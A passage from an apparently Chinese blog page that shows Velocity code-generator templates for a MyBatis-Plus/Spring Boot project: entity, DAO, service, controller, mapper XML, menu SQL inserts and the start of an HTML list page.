class="meta">@TableName(&quot;$&#123;tableInfo.obj.name&#125;&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">$</span>!&#123;tableInfo.name&#125;Entity <span class="keyword">extends</span> <span class="title class_">Model</span>&lt;$!&#123;tableInfo.name&#125;Entity&gt; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> $tool.serial();</span><br><span class="line">    </span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    #<span class="keyword">if</span>($pk.name == $!&#123;column.name&#125;)<span class="meta">@TableId(value = &quot;$pk.obj.name&quot;, type = IdType.AUTO)</span>#end</span><br><span class="line"></span><br><span class="line">    <span class="meta">@ApiModelProperty(value = &quot;#if($&#123;column.comment&#125;)$&#123;column.comment&#125;#end&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> $!&#123;tool.getClsNameByFullName($column.type)&#125; $!&#123;column.name&#125;;</span><br><span class="line">#end</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>dao</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">##导入宏定义</span><br><span class="line">$!define</span><br><span class="line"></span><br><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置表后缀（宏定义）</span><br><span class="line">#setTableSuffix(<span class="string">&quot;Dao&quot;</span>)</span><br><span class="line"></span><br><span class="line">##保存文件（宏定义）</span><br><span class="line">#save(<span class="string">&quot;/dao$&#123;prefixPathPipe&#125;&quot;</span>, <span class="string">&quot;Dao.java&quot;</span>)</span><br><span class="line"></span><br><span class="line">##包路径（宏定义）</span><br><span class="line">#setPackageSuffix(<span class="string">&quot;dao$&#123;prefixPathDot&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.mapper.BaseMapper;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.entity$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Entity;</span><br><span class="line"><span class="keyword">import</span> org.mapstruct.Mapper;</span><br><span class="line"></span><br><span class="line">##表注释（宏定义）</span><br><span class="line">#tableComment(<span class="string">&quot;表数据库访问层&quot;</span>)</span><br><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">$</span>!&#123;tableName&#125; <span class="keyword">extends</span> <span class="title class_">BaseMapper</span>&lt;$!&#123;tableInfo.name&#125;Entity&gt; &#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>service</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">##导入宏定义</span><br><span class="line">$!define</span><br><span class="line"></span><br><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置表后缀（宏定义）</span><br><span class="line">#setTableSuffix(<span class="string">&quot;Service&quot;</span>)</span><br><span class="line"></span><br><span class="line">##保存文件（宏定义）</span><br><span class="line">#save(<span class="string">&quot;/service$&#123;prefixPathPipe&#125;&quot;</span>, <span class="string">&quot;Service.java&quot;</span>)</span><br><span class="line"></span><br><span class="line">##包路径（宏定义）</span><br><span class="line">#setPackageSuffix(<span class="string">&quot;service$&#123;prefixPathDot&#125;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.service.IService;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.entity$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Entity;</span><br><span class="line"></span><br><span class="line">##表注释（宏定义）</span><br><span class="line">#tableComment(<span class="string">&quot;表服务接口&quot;</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">$</span>!&#123;tableName&#125; <span class="keyword">extends</span> <span class="title class_">IService</span>&lt;$!&#123;tableInfo.name&#125;Entity&gt; &#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>serviceImpl</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">##导入宏定义</span><br><span class="line">$!define</span><br><span class="line"></span><br><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置表后缀（宏定义）</span><br><span class="line">#setTableSuffix(<span class="string">&quot;ServiceImpl&quot;</span>)</span><br><span class="line"></span><br><span class="line">##保存文件（宏定义）</span><br><span class="line">#save(<span class="string">&quot;/service$&#123;prefixPathPipe&#125;/impl&quot;</span>, <span class="string">&quot;ServiceImpl.java&quot;</span>)</span><br><span class="line"></span><br><span class="line">##包路径（宏定义）</span><br><span class="line">#setPackageSuffix(<span class="string">&quot;service$&#123;prefixPathDot&#125;.impl&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.dao$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Dao;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.entity$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Entity;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.service$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Service;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;</span><br><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"></span><br><span class="line">##表注释（宏定义）</span><br><span class="line">#tableComment(<span class="string">&quot;表服务实现类&quot;</span>)</span><br><span class="line"><span class="meta">@Service(&quot;$!tool.firstLowerCase($tableInfo.name)Service&quot;)</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">$</span>!&#123;tableName&#125; <span class="keyword">extends</span> <span class="title class_">ServiceImpl</span>&lt;$!&#123;tableInfo.name&#125;Dao, $!&#123;tableInfo.name&#125;Entity&gt; <span class="keyword">implements</span> <span class="title class_">$</span>!&#123;tableInfo.name&#125;Service &#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>controller</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line">$!define</span><br><span class="line"></span><br><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##定义初始变量</span><br><span class="line">#set($tableName = $tool.append($tableInfo.name, <span class="string">&quot;Controller&quot;</span>))</span><br><span class="line">##设置回调</span><br><span class="line">$!callback.setFileName($tool.append($tableName, <span class="string">&quot;.java&quot;</span>))</span><br><span class="line">$!callback.setSavePath($tool.append($tableInfo.savePath, <span class="string">&quot;/controller$&#123;prefixPathPipe&#125;&quot;</span>))</span><br><span class="line">##拿到主键</span><br><span class="line">#<span class="keyword">if</span>(!$tableInfo.pkColumn.isEmpty())</span><br><span class="line">    #set($pk = $tableInfo.pkColumn.get(<span class="number">0</span>))</span><br><span class="line">#end</span><br><span class="line">#<span class="keyword">if</span>($tableInfo.savePackageName)<span class="keyword">package</span> $!&#123;tableInfo.savePackageName&#125;.#&#123;end&#125;controller$&#123;prefixPathDot&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.toolkit.Wrappers;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.plugins.pagination.Page;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.common.utils.R;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.common.log.annotation.SysLog;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.entity$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Entity;</span><br><span class="line"><span class="keyword">import</span> $!&#123;tableInfo.savePackageName&#125;.service$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Service;</span><br><span class="line"><span class="keyword">import</span> io.swagger.annotations.Api;</span><br><span class="line"><span class="keyword">import</span> io.swagger.annotations.ApiOperation;</span><br><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"><span class="keyword">import</span> springfox.documentation.annotations.ApiIgnore;</span><br><span class="line"></span><br><span class="line">#tableComment(<span class="string">&quot;表控制层&quot;</span>)</span><br><span class="line"><span class="meta">@ApiIgnore</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/#if($tableApi)$tableApi#else$!tool.firstLowerCase($tableInfo.name)#end&quot;)</span></span><br><span class="line"><span class="meta">@Api(value = &quot;$!tool.firstLowerCase($tableInfo.name)&quot;, tags = &quot;#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end 管理&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">$</span>!&#123;tableName&#125; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 服务对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> $!&#123;tableInfo.name&#125;Service $!tool.firstLowerCase($tableInfo.name)Service;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 分页查询</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> page 分页对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> $!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity #if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> R</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ApiOperation(value = &quot;分页查询&quot;, notes = &quot;分页查询&quot;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/page&quot; )</span></span><br><span class="line">    <span class="meta">@RequiresPermissions(&quot;$&#123;tableAuth&#125;:list&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> R get$!&#123;tableInfo.name&#125;Page(Page page, $!&#123;tableInfo.name&#125;Entity $!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="built_in">this</span>.$!&#123;tool.firstLowerCase($tableInfo.name)&#125;Service.page(page, Wrappers.query($!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity)));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 通过id查询 #if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> $pk.name $pk.comment</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> R</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ApiOperation(value = &quot;通过id查询&quot;, notes = &quot;通过id查询&quot;)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;$pk.name&#125;&quot; )</span></span><br><span class="line">    <span class="meta">@RequiresPermissions(&quot;$&#123;tableAuth&#125;:info&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> R <span class="title function_">getById</span><span class="params">(<span class="meta">@PathVariable(&quot;$pk.name&quot;)</span> $!pk.shortType $pk.name)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="built_in">this</span>.$!&#123;tool.firstLowerCase($tableInfo.name)&#125;Service.getById($pk.name));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 新增 #if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> $!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity #if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> R</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ApiOperation(value = &quot;新增#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;, notes = &quot;新增#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;)</span></span><br><span class="line">    <span class="meta">@SysLog(&quot;新增#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot; )</span></span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="meta">@RequiresPermissions(&quot;$&#123;tableAuth&#125;:save&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> R <span class="title function_">save</span><span class="params">(<span class="meta">@RequestBody</span> $!&#123;tableInfo.name&#125;Entity $!&#123;tool.firstLowerCase($tableInfo.name)</span>&#125;Entity) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="built_in">this</span>.$!&#123;tool.firstLowerCase($tableInfo.name)&#125;Service.save($!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 修改#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> $!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity #if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> R</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@RequiresPermissions(&quot;$&#123;tableAuth&#125;:update&quot;)</span></span><br><span class="line">    <span class="meta">@ApiOperation(value = &quot;修改#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;, notes = &quot;修改#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;)</span></span><br><span class="line">    <span class="meta">@SysLog(&quot;修改#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot; )</span></span><br><span class="line">    <span class="meta">@PutMapping</span></span><br><span class="line">    <span class="keyword">public</span> R <span class="title function_">updateById</span><span class="params">(<span class="meta">@RequestBody</span> $!&#123;tableInfo.name&#125;Entity $!&#123;tool.firstLowerCase($tableInfo.name)</span>&#125;Entity) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="built_in">this</span>.$!&#123;tool.firstLowerCase($tableInfo.name)&#125;Service.updateById($!&#123;tool.firstLowerCase($tableInfo.name)&#125;Entity));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 通过$pk.name 删除#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end</span></span><br><span class="line"><span class="comment">     </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> $pk.name $pk.comment</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> R</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@RequiresPermissions(&quot;$&#123;tableAuth&#125;:delete&quot;)</span></span><br><span class="line">    <span class="meta">@ApiOperation(value = &quot;通过$pk.name 删除#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;, notes = &quot;通过$pk.name 删除#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot;)</span></span><br><span class="line">    <span class="meta">@SysLog(&quot;通过id删除#if($&#123;tableInfo.comment&#125;)$&#123;tableInfo.comment&#125;#end&quot; )</span></span><br><span class="line">    <span class="meta">@DeleteMapping(&quot;/&#123;$pk.name&#125;&quot; )</span></span><br><span class="line">    <span class="keyword">public</span> R <span class="title function_">removeById</span><span class="params">(<span class="meta">@PathVariable(&quot;$pk.name&quot;)</span> $!pk.shortType $pk.name)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="built_in">this</span>.$!&#123;tool.firstLowerCase($tableInfo.name)&#125;Service.removeById($pk.name));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>mapper.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">##引入mybatis支持</span><br><span class="line">$!mybatisSupport</span><br><span class="line"></span><br><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置保存名称与保存位置</span><br><span class="line">$!callback.setFileName($tool.append($!&#123;tableInfo.name&#125;, &quot;Dao.xml&quot;))</span><br><span class="line">$!callback.setSavePath($tool.append($modulePath, &quot;/src/main/resources/mapper$&#123;prefixPathPipe&#125;&quot;))</span><br><span class="line"></span><br><span class="line">##拿到主键</span><br><span class="line">#if(!$tableInfo.pkColumn.isEmpty())</span><br><span class="line">    #set($pk = $tableInfo.pkColumn.get(0))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">mapper</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//mybatis.org//DTD Mapper 3.0//EN&quot;</span> <span class="string">&quot;http://mybatis.org/dtd/mybatis-3-mapper.dtd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">mapper</span> <span class="attr">namespace</span>=<span class="string">&quot;$!&#123;tableInfo.savePackageName&#125;.dao$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Dao&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">type</span>=<span class="string">&quot;$!&#123;tableInfo.savePackageName&#125;.entity$&#123;prefixPathDot&#125;.$!&#123;tableInfo.name&#125;Entity&quot;</span> <span class="attr">id</span>=<span class="string">&quot;$!&#123;tableInfo.name&#125;Map&quot;</span>&gt;</span></span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;$!column.name&quot;</span> <span class="attr">column</span>=<span class="string">&quot;$!column.obj.name&quot;</span>/&gt;</span></span><br><span class="line">#end</span><br><span class="line">    <span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">sql</span> <span class="attr">id</span>=<span class="string">&quot;baseColumn&quot;</span>&gt;</span></span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">        $!column.obj.name#if($velocityCount != $tableInfo.fullColumn.size()),#end</span><br><span class="line">        </span><br><span class="line">#end</span><br><span class="line">    <span class="tag">&lt;/<span class="name">sql</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">mapper</span>&gt;</span></span><br></pre></td></tr></table></figure><p>menu.sql</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">## 根据实际menu表修改</span><br><span class="line">$!prefix</span><br><span class="line">-- 菜单SQL</span><br><span class="line">INSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)</span><br><span class="line">    VALUES (&#x27;1&#x27;, &#x27;#if($tableInfo.comment)$tableInfo.comment#else待命名菜单#end&#x27;, &#x27;modules/$&#123;pathName&#125;.html&#x27;, NULL, &#x27;1&#x27;, &#x27;fa fa-file-code-o&#x27;, &#x27;6&#x27;);</span><br><span class="line"></span><br><span class="line">-- 按钮父菜单ID</span><br><span class="line">set @parentId = @@identity;</span><br><span class="line"></span><br><span class="line">-- 菜单对应按钮SQL</span><br><span class="line">INSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)</span><br><span class="line">    SELECT @parentId, &#x27;查看&#x27;, null, &#x27;$&#123;tableAuth&#125;:list,$&#123;tableAuth&#125;:info&#x27;, &#x27;2&#x27;, null, &#x27;6&#x27;;</span><br><span class="line">INSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)</span><br><span class="line">    SELECT @parentId, &#x27;新增&#x27;, null, &#x27;$&#123;tableAuth&#125;:save&#x27;, &#x27;2&#x27;, null, &#x27;6&#x27;;</span><br><span class="line">INSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)</span><br><span class="line">    SELECT @parentId, &#x27;修改&#x27;, null, &#x27;$&#123;tableAuth&#125;:update&#x27;, &#x27;2&#x27;, null, &#x27;6&#x27;;</span><br><span class="line">INSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)</span><br><span class="line">    SELECT @parentId, &#x27;删除&#x27;, null, &#x27;$&#123;tableAuth&#125;:delete&#x27;, &#x27;2&#x27;, null, &#x27;6&#x27;;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>list.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置保存名称与保存位置</span><br><span class="line">$!callback.setFileName($tool.append($!&#123;tableInfo.name&#125;, &quot;.html&quot;))</span><br><span class="line">$!callback.setSavePath($tool.append($modulePath, &quot;/src/main/resources/modules/$&#123;prefixPathPipe&#125;&quot;))</span><br><span class="line"></span><br><span class="line">##拿到主键</span><br><span class="line">#if(!$tableInfo.pkColumn.isEmpty())</span><br><span class="line">    #set($pk = $tableInfo.pkColumn.get(0))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span 